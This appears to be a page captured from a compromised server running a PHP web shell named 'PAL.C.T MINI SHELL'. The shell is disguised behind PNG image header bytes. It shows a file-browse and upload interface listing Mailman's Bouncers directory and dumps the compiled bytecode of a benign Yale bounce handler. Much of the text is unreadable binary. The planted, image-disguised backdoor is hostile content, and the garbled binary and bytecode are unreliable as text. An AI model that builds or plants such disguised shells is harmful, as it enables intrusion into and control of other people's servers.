php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Bouncers/
upload
files >> //usr/lib/mailman/Mailman/Bouncers/Yale.pyc

Pc@sxdZddkZddklZddklZeideiZeideiZ	eidZ
dZdS(	sYale's mail server is pretty dumb.

Its reports include the end user's name, but not the full domain.  I think we
can usually guess it right anyway.  This is completely based on examination of
the corpse, and is subject to failure whenever Yale even slightly changes
their MTA. :(

iN(tStringIO(tgetaddressess&Message not delivered to the followingsError Details\s+(?P<addr>\S+)\s+c	Cs|iodSyKt|iddgdd}|pdS|idd\}}Wnttfj
odSX|idjodS|id}|ix/t	|d
D]\}}||jodSqWh}t
|i}d}	x|i}
|
pPn|	djot
i|
o
d}	q|	djoti|
oPq|	djo1ti|
}|od||id
<qqqg}x6|iD](}
|i|
d|i|
dqW|S(Ntfromtiit@s
mailer-daemont.tedutyaletaddrs	@yale.edus@cs.yale.edu(RR(tis_multiparttNoneRtgettsplitt
IndexErrort
ValueErrortlowertreversetzipRtget_payloadtreadlinetscretsearchtecretacretgrouptkeystappend(tmsgtwhofromtusernametdomaintpartstpart1tpart2tnamestbodytstatetlinetmotaddrstname((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncers/Yale.pytprocess$sL
#

	


(t__doc__tret	cStringIORtemail.UtilsRtcompilet
IGNORECASERRRR)(((s^/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Bouncers/Yale.pyt<module>s
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`